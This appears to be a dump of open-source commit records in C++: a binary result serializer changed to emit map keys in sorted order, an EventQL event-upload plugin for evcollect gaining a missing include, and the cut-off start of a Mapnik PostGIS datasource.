{\n emit_int32_t(f, RES_NODE_SET);\n emit_int32_t(f, ns.size());\n for (auto& i: ns) {\n emit_int32_t(f, i.first);\n emit_node_item(f, i.second);\n }\n}\n\nvoid emit_value(std::ofstream& f, value_t& v) {\n emit_int32_t(f, RES_VALUE);\n emit_int_set(f, v.simple_type);\n emit_node_set(f, v.node_set);\n}\n\nvoid save_result(std::ofstream& f, int32_t iter_count, std::vector<node_set_t>& mem, std::vector<value_t>& reg) {\n emit_int32_t(f, iter_count);\n emit_int32_t(f, mem.size());\n emit_int32_t(f, reg.size());\n for (auto& i: mem) {\n emit_node_set(f, i);\n }\n for (auto& i: reg) {\n emit_value(f, i);\n }\n}\n\nvoid save_result_file(const char* name, int32_t iter_count, std::vector<node_set_t>& mem, std::vector<value_t>& reg) {\n \/\/std::cout << \"save result to: \" << name << \"\\n\";\n\n std::ofstream fout(name, std::ios::out | std::ios::binary);\n\n save_result(fout, iter_count, mem, reg);\n\n fout.close();\n}\n<commit_msg>save node set values in key order<commit_after>#include <iostream>\n#include <fstream>\n#include <iterator>\n#include <vector>\n#include <algorithm>\n\n#include \"IR.h\"\n\n\/*\n save mem\n save reg\n mem node sets\n reg values\n*\/\n\nvoid emit_int32_t(std::ofstream& f, int32_t data) {\n f.write((char*)&data,sizeof(data));\n}\n\nvoid emit_int_set(std::ofstream& f, int_set_t& s) {\n emit_int32_t(f, RES_INT_SET);\n emit_int32_t(f, s.size());\n for (auto& i: s) {\n emit_int32_t(f, i);\n }\n}\n\nvoid emit_node_item(std::ofstream& f, std::vector<int_set_t>& ni) {\n emit_int32_t(f, RES_NODE_ITEM);\n emit_int32_t(f, ni.size());\n for (auto& i: ni) {\n emit_int_set(f, i);\n }\n}\n\nvoid emit_node_set(std::ofstream& f, node_set_t& ns) {\n emit_int32_t(f, RES_NODE_SET);\n emit_int32_t(f, ns.size());\n\n \/\/ get sorted key vector\n std::vector<int32_t> keys;\n keys.reserve (ns.size());\n for (auto& it : ns) {\n keys.push_back(it.first);\n }\n std::sort (keys.begin(), keys.end());\n\n \/\/ save items in sorted key order\n for (auto& i: keys) {\n emit_int32_t(f, i);\n emit_node_item(f, ns[i]);\n }\n}\n\nvoid emit_value(std::ofstream& f, value_t& v) {\n emit_int32_t(f, RES_VALUE);\n emit_int_set(f, v.simple_type);\n emit_node_set(f, v.node_set);\n}\n\nvoid save_result(std::ofstream& f, int32_t iter_count, std::vector<node_set_t>& mem, std::vector<value_t>& reg) {\n emit_int32_t(f, iter_count);\n emit_int32_t(f, mem.size());\n emit_int32_t(f, reg.size());\n for (auto& i: mem) {\n emit_node_set(f, i);\n }\n for (auto& i: reg) {\n emit_value(f, i);\n }\n}\n\nvoid save_result_file(const char* name, int32_t iter_count, std::vector<node_set_t>& mem, std::vector<value_t>& reg) {\n \/\/std::cout << \"save result to: \" << name << \"\\n\";\n\n std::ofstream fout(name, std::ios::out | std::ios::binary);\n\n save_result(fout, iter_count, mem, reg);\n\n fout.close();\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2016 DeepCortex GmbH <legal@eventql.io>\n * Authors:\n * - Paul Asmuth <paul@eventql.io>\n *\n * This program is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License (\"the license\") as\n * published by the Free Software Foundation, either version 3 of the License,\n * or any later version.\n *\n * In accordance with Section 7(e) of the license, the licensing of the Program\n * under the license does not imply a trademark license. Therefore any rights,\n * title and interest in our trademarks remain entirely with us.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the license for more details.\n *\n * You can be released from the requirements of the license by purchasing a\n * commercial license. Buying such a license is mandatory as soon as you develop\n * commercial activities involving this program without disclosing the source\n * code of your own applications\n *\/\n#include <deque>\n#include <thread>\n#include <string.h>\n#include <curl\/curl.h>\n#include <evcollect\/evcollect.h>\n#include <evcollect\/util\/logging.h>\n#include <evcollect\/util\/base64.h>\n#include <evcollect\/util\/time.h>\n#include <evcollect\/util\/return_code.h>\n\nnamespace evcollect {\nnamespace plugin_eventql {\n\nclass EventQLTarget {\npublic:\n\n static const size_t kDefaultHTTPTimeoutMicros = 30 * kMicrosPerSecond;\n static const size_t kDefaultMaxQueueLength = 8192;\n\n EventQLTarget(\n const std::string& hostname,\n uint16_t port);\n\n ~EventQLTarget();\n\n void addRoute(\n const std::string& event_name_match,\n const std::string& target);\n\n void setHTTPTimeout(uint64_t usecs);\n void setMaxQueueLength(size_t queue_len);\n\n void setAuthToken(const std::string& auth_token);\n void setCredentials(\n const std::string& username,\n const std::string& password);\n\n ReturnCode emitEvent(const EventData& event);\n\n ReturnCode startUploadThread();\n void stopUploadThread();\n\nprotected:\n\n struct TargetTable {\n std::string database;\n std::string table;\n };\n\n struct EnqueuedEvent {\n std::string database;\n std::string table;\n std::string data;\n };\n\n struct EventRouting {\n std::string event_name_match;\n std::string target;\n };\n\n ReturnCode enqueueEvent(const EnqueuedEvent& event);\n bool awaitEvent(EnqueuedEvent* event);\n ReturnCode uploadEvent(const EnqueuedEvent& event);\n\n std::string hostname_;\n uint16_t port_;\n std::string username_;\n std::string password_;\n std::string auth_token_;\n std::deque<EnqueuedEvent> queue_;\n mutable std::mutex mutex_;\n mutable std::condition_variable cv_;\n size_t queue_max_length_;\n std::thread thread_;\n bool thread_running_;\n bool thread_shutdown_;\n std::vector<EventRouting> routes_;\n CURL* curl_;\n uint64_t http_timeout_;\n};\n\nEventQLTarget::EventQLTarget(\n const std::string& hostname,\n uint16_t port) :\n hostname_(hostname),\n port_(port),\n queue_max_length_(kDefaultMaxQueueLength),\n thread_running_(false),\n curl_(nullptr),\n http_timeout_(kDefaultHTTPTimeoutMicros) {\n curl_ = curl_easy_init();\n}\n\nEventQLTarget::~EventQLTarget() {\n if (curl_) {\n curl_easy_cleanup(curl_);\n }\n}\n\nvoid EventQLTarget::addRoute(\n const std::string& event_name_match,\n const std::string& target) {\n EventRouting r;\n r.event_name_match = event_name_match;\n r.target = target;\n routes_.emplace_back(r);\n}\n\nvoid EventQLTarget::setAuthToken(const std::string& auth_token) {\n auth_token_ = auth_token;\n}\n\nvoid EventQLTarget::setCredentials(\n const std::string& username,\n const std::string& password) {\n username_ = username;\n password_ = password;\n}\n\nvoid EventQLTarget::setHTTPTimeout(uint64_t usecs) {\n http_timeout_ = usecs;\n}\n\nvoid EventQLTarget::setMaxQueueLength(size_t queue_len) {\n queue_max_length_ = queue_len;\n}\n\nReturnCode EventQLTarget::emitEvent(const EventData& event) {\n for (const auto& route : routes_) {\n if (route.event_name_match != event.event_name) {\n continue;\n }\n\n auto target = StringUtil::split(route.target, \"\/\");\n if (target.size() != 2) {\n return ReturnCode::error(\n \"EINVAL\",\n \"invalid target specification. \" \\\n \"format is: database\/table\");\n }\n\n EnqueuedEvent e;\n e.database = target[0];\n e.table = target[1];\n e.data = event.event_data;\n\n auto rc = enqueueEvent(e);\n if (!rc.isSuccess()) {\n return rc;\n }\n }\n\n return ReturnCode::success();\n}\n\nReturnCode EventQLTarget::enqueueEvent(const EnqueuedEvent& event) {\n std::unique_lock<std::mutex> lk(mutex_);\n\n while (queue_.size() >= queue_max_length_) {\n cv_.wait(lk);\n }\n\n queue_.emplace_back(event);\n cv_.notify_all();\n\n return ReturnCode::success();\n}\n\nbool EventQLTarget::awaitEvent(EnqueuedEvent* event) {\n std::unique_lock<std::mutex> lk(mutex_);\n\n if (queue_.size() == 0) {\n cv_.wait(lk);\n }\n\n if (queue_.size() == 0) {\n return false;\n } else {\n *event = queue_.front();\n queue_.pop_front();\n cv_.notify_all();\n return true;\n }\n}\n\nReturnCode EventQLTarget::startUploadThread() {\n if (thread_running_) {\n return ReturnCode::error(\"RTERROR\", \"upload thread is already running\");\n }\n\n auto upload_thread = [this] () {\n while (true) {\n {\n std::unique_lock<std::mutex> lk(mutex_);\n if (thread_shutdown_) {\n return;\n }\n }\n\n EnqueuedEvent ev;\n if (!awaitEvent(&ev)) {\n continue;\n }\n\n auto rc = uploadEvent(ev);\n if (!rc.isSuccess()) {\n logError(\n \"error while uploading event to $0\/$1: $2\", \n ev.database,\n ev.table,\n rc.getMessage());\n }\n }\n };\n\n std::unique_lock<std::mutex> lk(mutex_);\n thread_running_ = true;\n thread_shutdown_ = false;\n thread_ = std::thread(upload_thread);\n return ReturnCode::success();\n}\n\nvoid EventQLTarget::stopUploadThread() {\n if (!thread_running_) {\n return;\n }\n\n thread_shutdown_ = true;\n cv_.notify_all();\n thread_.join();\n thread_running_ = false;\n}\n\nnamespace {\nsize_t curl_write_cb(void* data, size_t size, size_t nmemb, std::string* s) {\n size_t pos = s->size();\n size_t len = pos + size * nmemb;\n s->resize(len);\n memcpy((char*) s->data() + pos, data, size * nmemb);\n return size * nmemb;\n}\n}\n\nReturnCode EventQLTarget::uploadEvent(const EnqueuedEvent& ev) {\n auto url = StringUtil::format(\n \"http:\/\/$0:$1\/api\/v1\/tables\/insert\",\n hostname_,\n port_);\n\n std::string body;\n body += \"[{ \";\n body += StringUtil::format(\n \"\\\"database\\\": \\\"$0\\\",\",\n StringUtil::jsonEscape(ev.database));\n body += StringUtil::format(\n \"\\\"table\\\": \\\"$0\\\"\",\n StringUtil::jsonEscape(ev.table));\n body += \"\\\"data\\\":\" + ev.data;\n body += \"}]\";\n\n if (!curl_) {\n return ReturnCode::error(\"EIO\", \"curl_init() failed\");\n }\n\n struct curl_slist* req_headers = NULL;\n req_headers = curl_slist_append(\n req_headers,\n \"Content-Type: application\/json; charset=utf-8\");\n\n if (!auth_token_.empty()) {\n auto hdr = \"Authorization: Token \" + auth_token_;\n req_headers = curl_slist_append(req_headers, hdr.c_str());\n }\n\n if (!username_.empty() || !password_.empty()) {\n std::string hdr = \"Authorization: Basic \";\n hdr += Base64::encode(username_ + \":\" + password_);\n req_headers = curl_slist_append(req_headers, hdr.c_str());\n }\n\n std::string res_body;\n curl_easy_setopt(curl_, CURLOPT_URL, url.c_str());\n curl_easy_setopt(curl_, CURLOPT_TIMEOUT_MS, http_timeout_ \/ kMicrosPerMilli);\n curl_easy_setopt(curl_, CURLOPT_POSTFIELDS, body.c_str());\n curl_easy_setopt(curl_, CURLOPT_WRITEFUNCTION, curl_write_cb);\n curl_easy_setopt(curl_, CURLOPT_WRITEDATA, &res_body);\n CURLcode curl_res = curl_easy_perform(curl_);\n curl_slist_free_all(req_headers);\n if (curl_res != CURLE_OK) {\n return ReturnCode::error(\n \"EIO\",\n \"http request failed: %s\",\n curl_easy_strerror(curl_res));\n }\n\n long http_res_code = 0;\n curl_easy_getinfo(curl_, CURLINFO_RESPONSE_CODE, &http_res_code);\n\n switch (http_res_code) {\n case 201:\n return ReturnCode::success();\n case 400:\n return ReturnCode::error(\n \"EINVAL\",\n \"http error: %li -- %.*s\",\n http_res_code,\n res_body.size(),\n res_body.data());\n case 403:\n case 401:\n return ReturnCode::error(\n \"EACCESS\",\n \"auth error: %li -- %.*s\",\n http_res_code,\n res_body.size(),\n res_body.data());\n default:\n return ReturnCode::error(\n \"EIO\",\n \"http error: %li -- %.*s\",\n http_res_code,\n res_body.size(),\n res_body.data());\n }\n}\n\nbool pluginAttach(\n evcollect_ctx_t* ctx,\n evcollect_plugin_cfg_t* cfg,\n void** userdata) {\n\n}\n\nbool pluginEmitEvent(\n evcollect_ctx_t* ctx,\n void* userdata,\n const evcollect_event_t* event) {\n\n}\n\/\/ReturnCode EventQLPlugin::pluginAttach(\n\/\/ const PropertyList& config,\n\/\/ void** userdata) {\n\/\/ std::string hostname = \"localhost\";\n\/\/ uint16_t port = 9175;\n\/\/\n\/\/ std::string hostname_opt;\n\/\/ if (config.get(\"port\", &hostname_opt)) {\n\/\/ hostname = hostname_opt;\n\/\/ }\n\/\/\n\/\/ std::string port_opt;\n\/\/ if (config.get(\"port\", &port_opt)) {\n\/\/ try {\n\/\/ port = std::stoul(port_opt);\n\/\/ } catch (...) {\n\/\/ return ReturnCode::error(\"EINVAL\", \"invalid port\");\n\/\/ }\n\/\/ }\n\/\/\n\/\/ std::unique_ptr<EventQLTarget> target(new EventQLTarget(hostname, port));\n\/\/\n\/\/ std::string username;\n\/\/ std::string password;\n\/\/ config.get(\"username\", &username);\n\/\/ config.get(\"password\", &password);\n\/\/ if (!username.empty() || !password.empty()) {\n\/\/ target->setCredentials(username, password);\n\/\/ }\n\/\/\n\/\/ std::string auth_token;\n\/\/ if (config.get(\"auth_token\", &auth_token)) {\n\/\/ target->setAuthToken(auth_token);\n\/\/ }\n\/\/\n\/\/ std::string http_timeout_opt;\n\/\/ if (config.get(\"http_timeout\", &http_timeout_opt)) {\n\/\/ uint64_t http_timeout;\n\/\/ try {\n\/\/ http_timeout = std::stoull(http_timeout_opt);\n\/\/ } catch (...) {\n\/\/ return ReturnCode::error(\"EINVAL\", \"invalid value for http_timeout\");\n\/\/ }\n\/\/ target->setHTTPTimeout(http_timeout);\n\/\/ }\n\/\/\n\/\/ std::string queue_maxlen_opt;\n\/\/ if (config.get(\"queue_maxlen\", &queue_maxlen_opt)) {\n\/\/ uint64_t queue_maxlen;\n\/\/ try {\n\/\/ queue_maxlen = std::stoull(queue_maxlen_opt);\n\/\/ } catch (...) {\n\/\/ return ReturnCode::error(\"EINVAL\", \"invalid value for queue_maxlen\");\n\/\/ }\n\/\/ target->setMaxQueueLength(queue_maxlen);\n\/\/ }\n\/\/\n\/\/ std::vector<std::vector<std::string>> route_cfg;\n\/\/ config.get(\"route\", &route_cfg);\n\/\/ for (const auto& route : route_cfg) {\n\/\/ if (route.size() != 2) {\n\/\/ return ReturnCode::error(\n\/\/ \"EINVAL\",\n\/\/ \"invalid number of arguments to route. \" \\\n\/\/ \"format is: route <event> <target>\");\n\/\/ }\n\/\/\n\/\/ target->addRoute(route[0], route[1]);\n\/\/ }\n\/\/\n\/\/ target->startUploadThread();\n\/\/ *userdata = target.release();\n\/\/ return ReturnCode::success();\n\/\/}\n\/\/\n\/\/void EventQLPlugin::pluginDetach(void* userdata) {\n\/\/ auto target = static_cast<EventQLTarget*>(userdata);\n\/\/ target->stopUploadThread();\n\/\/ delete target;\n\/\/}\n\/\/\n\/\/ReturnCode EventQLPlugin::pluginEmitEvent(\n\/\/ void* userdata,\n\/\/ const EventData& evdata) {\n\/\/ auto target = static_cast<EventQLTarget*>(userdata);\n\/\/ return target->emitEvent(evdata);\n\/\/}\n\n} \/\/ namespace plugins_eventql\n} \/\/ namespace evcollect\n\nbool __evcollect_plugin_init(evcollect_ctx_t* ctx) {\n evcollect_output_plugin_register(\n ctx,\n \"output\",\n &evcollect::plugin_eventql::pluginEmitEvent);\n\n return true;\n}\n\n<commit_msg>fixes compile error<commit_after>\/**\n * Copyright (c) 2016 DeepCortex GmbH <legal@eventql.io>\n * Authors:\n * - Paul Asmuth <paul@eventql.io>\n *\n * This program is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License (\"the license\") as\n * published by the Free Software Foundation, either version 3 of the License,\n * or any later version.\n *\n * In accordance with Section 7(e) of the license, the licensing of the Program\n * under the license does not imply a trademark license. Therefore any rights,\n * title and interest in our trademarks remain entirely with us.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the license for more details.\n *\n * You can be released from the requirements of the license by purchasing a\n * commercial license. Buying such a license is mandatory as soon as you develop\n * commercial activities involving this program without disclosing the source\n * code of your own applications\n *\/\n#include <deque>\n#include <thread>\n#include <condition_variable>\n#include <string.h>\n#include <curl\/curl.h>\n#include <evcollect\/evcollect.h>\n#include <evcollect\/util\/logging.h>\n#include <evcollect\/util\/base64.h>\n#include <evcollect\/util\/time.h>\n#include <evcollect\/util\/return_code.h>\n\nnamespace evcollect {\nnamespace plugin_eventql {\n\nclass EventQLTarget {\npublic:\n\n static const size_t kDefaultHTTPTimeoutMicros = 30 * kMicrosPerSecond;\n static const size_t kDefaultMaxQueueLength = 8192;\n\n EventQLTarget(\n const std::string& hostname,\n uint16_t port);\n\n ~EventQLTarget();\n\n void addRoute(\n const std::string& event_name_match,\n const std::string& target);\n\n void setHTTPTimeout(uint64_t usecs);\n void setMaxQueueLength(size_t queue_len);\n\n void setAuthToken(const std::string& auth_token);\n void setCredentials(\n const std::string& username,\n const std::string& password);\n\n ReturnCode emitEvent(const EventData& event);\n\n ReturnCode startUploadThread();\n void stopUploadThread();\n\nprotected:\n\n struct TargetTable {\n std::string database;\n std::string table;\n };\n\n struct EnqueuedEvent {\n std::string database;\n std::string table;\n std::string data;\n };\n\n struct EventRouting {\n std::string event_name_match;\n std::string target;\n };\n\n ReturnCode enqueueEvent(const EnqueuedEvent& event);\n bool awaitEvent(EnqueuedEvent* event);\n ReturnCode uploadEvent(const EnqueuedEvent& event);\n\n std::string hostname_;\n uint16_t port_;\n std::string username_;\n std::string password_;\n std::string auth_token_;\n std::deque<EnqueuedEvent> queue_;\n mutable std::mutex mutex_;\n mutable std::condition_variable cv_;\n size_t queue_max_length_;\n std::thread thread_;\n bool thread_running_;\n bool thread_shutdown_;\n std::vector<EventRouting> routes_;\n CURL* curl_;\n uint64_t http_timeout_;\n};\n\nEventQLTarget::EventQLTarget(\n const std::string& hostname,\n uint16_t port) :\n hostname_(hostname),\n port_(port),\n queue_max_length_(kDefaultMaxQueueLength),\n thread_running_(false),\n curl_(nullptr),\n http_timeout_(kDefaultHTTPTimeoutMicros) {\n curl_ = curl_easy_init();\n}\n\nEventQLTarget::~EventQLTarget() {\n if (curl_) {\n curl_easy_cleanup(curl_);\n }\n}\n\nvoid EventQLTarget::addRoute(\n const std::string& event_name_match,\n const std::string& target) {\n EventRouting r;\n r.event_name_match = event_name_match;\n r.target = target;\n routes_.emplace_back(r);\n}\n\nvoid EventQLTarget::setAuthToken(const std::string& auth_token) {\n auth_token_ = auth_token;\n}\n\nvoid EventQLTarget::setCredentials(\n const std::string& username,\n const std::string& password) {\n username_ = username;\n password_ = password;\n}\n\nvoid EventQLTarget::setHTTPTimeout(uint64_t usecs) {\n http_timeout_ = usecs;\n}\n\nvoid EventQLTarget::setMaxQueueLength(size_t queue_len) {\n queue_max_length_ = queue_len;\n}\n\nReturnCode EventQLTarget::emitEvent(const EventData& event) {\n for (const auto& route : routes_) {\n if (route.event_name_match != event.event_name) {\n continue;\n }\n\n auto target = StringUtil::split(route.target, \"\/\");\n if (target.size() != 2) {\n return ReturnCode::error(\n \"EINVAL\",\n \"invalid target specification. \" \\\n \"format is: database\/table\");\n }\n\n EnqueuedEvent e;\n e.database = target[0];\n e.table = target[1];\n e.data = event.event_data;\n\n auto rc = enqueueEvent(e);\n if (!rc.isSuccess()) {\n return rc;\n }\n }\n\n return ReturnCode::success();\n}\n\nReturnCode EventQLTarget::enqueueEvent(const EnqueuedEvent& event) {\n std::unique_lock<std::mutex> lk(mutex_);\n\n while (queue_.size() >= queue_max_length_) {\n cv_.wait(lk);\n }\n\n queue_.emplace_back(event);\n cv_.notify_all();\n\n return ReturnCode::success();\n}\n\nbool EventQLTarget::awaitEvent(EnqueuedEvent* event) {\n std::unique_lock<std::mutex> lk(mutex_);\n\n if (queue_.size() == 0) {\n cv_.wait(lk);\n }\n\n if (queue_.size() == 0) {\n return false;\n } else {\n *event = queue_.front();\n queue_.pop_front();\n cv_.notify_all();\n return true;\n }\n}\n\nReturnCode EventQLTarget::startUploadThread() {\n if (thread_running_) {\n return ReturnCode::error(\"RTERROR\", \"upload thread is already running\");\n }\n\n auto upload_thread = [this] () {\n while (true) {\n {\n std::unique_lock<std::mutex> lk(mutex_);\n if (thread_shutdown_) {\n return;\n }\n }\n\n EnqueuedEvent ev;\n if (!awaitEvent(&ev)) {\n continue;\n }\n\n auto rc = uploadEvent(ev);\n if (!rc.isSuccess()) {\n logError(\n \"error while uploading event to $0\/$1: $2\", \n ev.database,\n ev.table,\n rc.getMessage());\n }\n }\n };\n\n std::unique_lock<std::mutex> lk(mutex_);\n thread_running_ = true;\n thread_shutdown_ = false;\n thread_ = std::thread(upload_thread);\n return ReturnCode::success();\n}\n\nvoid EventQLTarget::stopUploadThread() {\n if (!thread_running_) {\n return;\n }\n\n thread_shutdown_ = true;\n cv_.notify_all();\n thread_.join();\n thread_running_ = false;\n}\n\nnamespace {\nsize_t curl_write_cb(void* data, size_t size, size_t nmemb, std::string* s) {\n size_t pos = s->size();\n size_t len = pos + size * nmemb;\n s->resize(len);\n memcpy((char*) s->data() + pos, data, size * nmemb);\n return size * nmemb;\n}\n}\n\nReturnCode EventQLTarget::uploadEvent(const EnqueuedEvent& ev) {\n auto url = StringUtil::format(\n \"http:\/\/$0:$1\/api\/v1\/tables\/insert\",\n hostname_,\n port_);\n\n std::string body;\n body += \"[{ \";\n body += StringUtil::format(\n \"\\\"database\\\": \\\"$0\\\",\",\n StringUtil::jsonEscape(ev.database));\n body += StringUtil::format(\n \"\\\"table\\\": \\\"$0\\\"\",\n StringUtil::jsonEscape(ev.table));\n body += \"\\\"data\\\":\" + ev.data;\n body += \"}]\";\n\n if (!curl_) {\n return ReturnCode::error(\"EIO\", \"curl_init() failed\");\n }\n\n struct curl_slist* req_headers = NULL;\n req_headers = curl_slist_append(\n req_headers,\n \"Content-Type: application\/json; charset=utf-8\");\n\n if (!auth_token_.empty()) {\n auto hdr = \"Authorization: Token \" + auth_token_;\n req_headers = curl_slist_append(req_headers, hdr.c_str());\n }\n\n if (!username_.empty() || !password_.empty()) {\n std::string hdr = \"Authorization: Basic \";\n hdr += Base64::encode(username_ + \":\" + password_);\n req_headers = curl_slist_append(req_headers, hdr.c_str());\n }\n\n std::string res_body;\n curl_easy_setopt(curl_, CURLOPT_URL, url.c_str());\n curl_easy_setopt(curl_, CURLOPT_TIMEOUT_MS, http_timeout_ \/ kMicrosPerMilli);\n curl_easy_setopt(curl_, CURLOPT_POSTFIELDS, body.c_str());\n curl_easy_setopt(curl_, CURLOPT_WRITEFUNCTION, curl_write_cb);\n curl_easy_setopt(curl_, CURLOPT_WRITEDATA, &res_body);\n CURLcode curl_res = curl_easy_perform(curl_);\n curl_slist_free_all(req_headers);\n if (curl_res != CURLE_OK) {\n return ReturnCode::error(\n \"EIO\",\n \"http request failed: %s\",\n curl_easy_strerror(curl_res));\n }\n\n long http_res_code = 0;\n curl_easy_getinfo(curl_, CURLINFO_RESPONSE_CODE, &http_res_code);\n\n switch (http_res_code) {\n case 201:\n return ReturnCode::success();\n case 400:\n return ReturnCode::error(\n \"EINVAL\",\n \"http error: %li -- %.*s\",\n http_res_code,\n res_body.size(),\n res_body.data());\n case 403:\n case 401:\n return ReturnCode::error(\n \"EACCESS\",\n \"auth error: %li -- %.*s\",\n http_res_code,\n res_body.size(),\n res_body.data());\n default:\n return ReturnCode::error(\n \"EIO\",\n \"http error: %li -- %.*s\",\n http_res_code,\n res_body.size(),\n res_body.data());\n }\n}\n\nbool pluginAttach(\n evcollect_ctx_t* ctx,\n evcollect_plugin_cfg_t* cfg,\n void** userdata) {\n\n}\n\nbool pluginEmitEvent(\n evcollect_ctx_t* ctx,\n void* userdata,\n const evcollect_event_t* event) {\n\n}\n\/\/ReturnCode EventQLPlugin::pluginAttach(\n\/\/ const PropertyList& config,\n\/\/ void** userdata) {\n\/\/ std::string hostname = \"localhost\";\n\/\/ uint16_t port = 9175;\n\/\/\n\/\/ std::string hostname_opt;\n\/\/ if (config.get(\"port\", &hostname_opt)) {\n\/\/ hostname = hostname_opt;\n\/\/ }\n\/\/\n\/\/ std::string port_opt;\n\/\/ if (config.get(\"port\", &port_opt)) {\n\/\/ try {\n\/\/ port = std::stoul(port_opt);\n\/\/ } catch (...) {\n\/\/ return ReturnCode::error(\"EINVAL\", \"invalid port\");\n\/\/ }\n\/\/ }\n\/\/\n\/\/ std::unique_ptr<EventQLTarget> target(new EventQLTarget(hostname, port));\n\/\/\n\/\/ std::string username;\n\/\/ std::string password;\n\/\/ config.get(\"username\", &username);\n\/\/ config.get(\"password\", &password);\n\/\/ if (!username.empty() || !password.empty()) {\n\/\/ target->setCredentials(username, password);\n\/\/ }\n\/\/\n\/\/ std::string auth_token;\n\/\/ if (config.get(\"auth_token\", &auth_token)) {\n\/\/ target->setAuthToken(auth_token);\n\/\/ }\n\/\/\n\/\/ std::string http_timeout_opt;\n\/\/ if (config.get(\"http_timeout\", &http_timeout_opt)) {\n\/\/ uint64_t http_timeout;\n\/\/ try {\n\/\/ http_timeout = std::stoull(http_timeout_opt);\n\/\/ } catch (...) {\n\/\/ return ReturnCode::error(\"EINVAL\", \"invalid value for http_timeout\");\n\/\/ }\n\/\/ target->setHTTPTimeout(http_timeout);\n\/\/ }\n\/\/\n\/\/ std::string queue_maxlen_opt;\n\/\/ if (config.get(\"queue_maxlen\", &queue_maxlen_opt)) {\n\/\/ uint64_t queue_maxlen;\n\/\/ try {\n\/\/ queue_maxlen = std::stoull(queue_maxlen_opt);\n\/\/ } catch (...) {\n\/\/ return ReturnCode::error(\"EINVAL\", \"invalid value for queue_maxlen\");\n\/\/ }\n\/\/ target->setMaxQueueLength(queue_maxlen);\n\/\/ }\n\/\/\n\/\/ std::vector<std::vector<std::string>> route_cfg;\n\/\/ config.get(\"route\", &route_cfg);\n\/\/ for (const auto& route : route_cfg) {\n\/\/ if (route.size() != 2) {\n\/\/ return ReturnCode::error(\n\/\/ \"EINVAL\",\n\/\/ \"invalid number of arguments to route. \" \\\n\/\/ \"format is: route <event> <target>\");\n\/\/ }\n\/\/\n\/\/ target->addRoute(route[0], route[1]);\n\/\/ }\n\/\/\n\/\/ target->startUploadThread();\n\/\/ *userdata = target.release();\n\/\/ return ReturnCode::success();\n\/\/}\n\/\/\n\/\/void EventQLPlugin::pluginDetach(void* userdata) {\n\/\/ auto target = static_cast<EventQLTarget*>(userdata);\n\/\/ target->stopUploadThread();\n\/\/ delete target;\n\/\/}\n\/\/\n\/\/ReturnCode EventQLPlugin::pluginEmitEvent(\n\/\/ void* userdata,\n\/\/ const EventData& evdata) {\n\/\/ auto target = static_cast<EventQLTarget*>(userdata);\n\/\/ return target->emitEvent(evdata);\n\/\/}\n\n} \/\/ namespace plugins_eventql\n} \/\/ namespace evcollect\n\nbool __evcollect_plugin_init(evcollect_ctx_t* ctx) {\n evcollect_output_plugin_register(\n ctx,\n \"output\",\n &evcollect::plugin_eventql::pluginEmitEvent);\n\n return true;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n\/\/$Id: postgis.cc 44 2005-04-22 18:53:54Z pavlenko $\n\n#include <string>\n#include <algorithm>\n#include <set>\n#include <sstream>\n#include <iomanip>\n#include <boost\/lexical_cast.hpp>\n#include \"connection_manager.hpp\"\n#include \"postgis.hpp\"\n\nDATASOURCE_PLUGIN(postgis_datasource)\n\nconst std::string postgis_datasource::GEOMETRY_COLUMNS=\"geometry_columns\";\nconst std::string postgis_datasource::SPATIAL_REF_SYS=\"spatial_ref_system\";\n\nusing std::clog;\nusing std::endl;\n\nusing boost::lexical_cast;\nusing boost::bad_lexical_cast;\nusing boost::shared_ptr;\n\npostgis_datasource::postgis_datasource(parameters const& params)\n : datasource (params),\n table_(params.get(\"table\")),\n type_(datasource::Vector),\n extent_initialized_(false),\n desc_(params.get(\"type\")),\n creator_(params.get(\"host\"),\n params.get(\"port\"),\n params.get(\"dbname\"),\n params.get(\"user\"),\n params.get(\"password\")) \n{ \n\n unsigned initial_size;\n unsigned max_size;\n \n try \n {\n initial_size = boost::lexical_cast<unsigned>(params_.get(\"initial_size\")); \n }\n catch (bad_lexical_cast& )\n {\n initial_size = 1;\n }\n \n try \n {\n max_size = boost::lexical_cast<unsigned>(params_.get(\"max_size\")); \n }\n catch (bad_lexical_cast&)\n {\n max_size = 10;\n }\n \n ConnectionManager *mgr=ConnectionManager::instance(); \n mgr->registerPool(creator_, initial_size, max_size);\n \n shared_ptr<Pool<Connection,ConnectionCreator> > pool=mgr->getPool(creator_.id());\n if (pool)\n {\n shared_ptr<Connection> conn = pool->borrowObject();\n if (conn && conn->isOK())\n {\n PoolGuard<shared_ptr<Connection>,shared_ptr<Pool<Connection,ConnectionCreator> > > guard(conn,pool);\n std::string table_name=table_from_sql(table_);\n std::ostringstream s;\n s << \"select f_geometry_column,srid,type from \";\n s << GEOMETRY_COLUMNS <<\" where f_table_name='\" << table_name<<\"'\";\n \n shared_ptr<ResultSet> rs=conn->executeQuery(s.str());\n \n if (rs->next())\n {\n try \n {\n srid_ = lexical_cast<int>(rs->getValue(\"srid\"));\n desc_.set_srid(srid_);\n }\n catch (bad_lexical_cast &ex)\n {\n clog << ex.what() << endl;\n }\n geometryColumn_=rs->getValue(\"f_geometry_column\");\n std::string postgisType=rs->getValue(\"type\");\n }\n rs->close();\n \n \/\/ collect attribute desc\n s.str(\"\");\n s << \"select * from \"<<table_<<\" limit 1\";\n rs=conn->executeQuery(s.str());\n if (rs->next())\n {\n int count = rs->getNumFields();\n for (int i=0;i<count;++i)\n {\n std::string 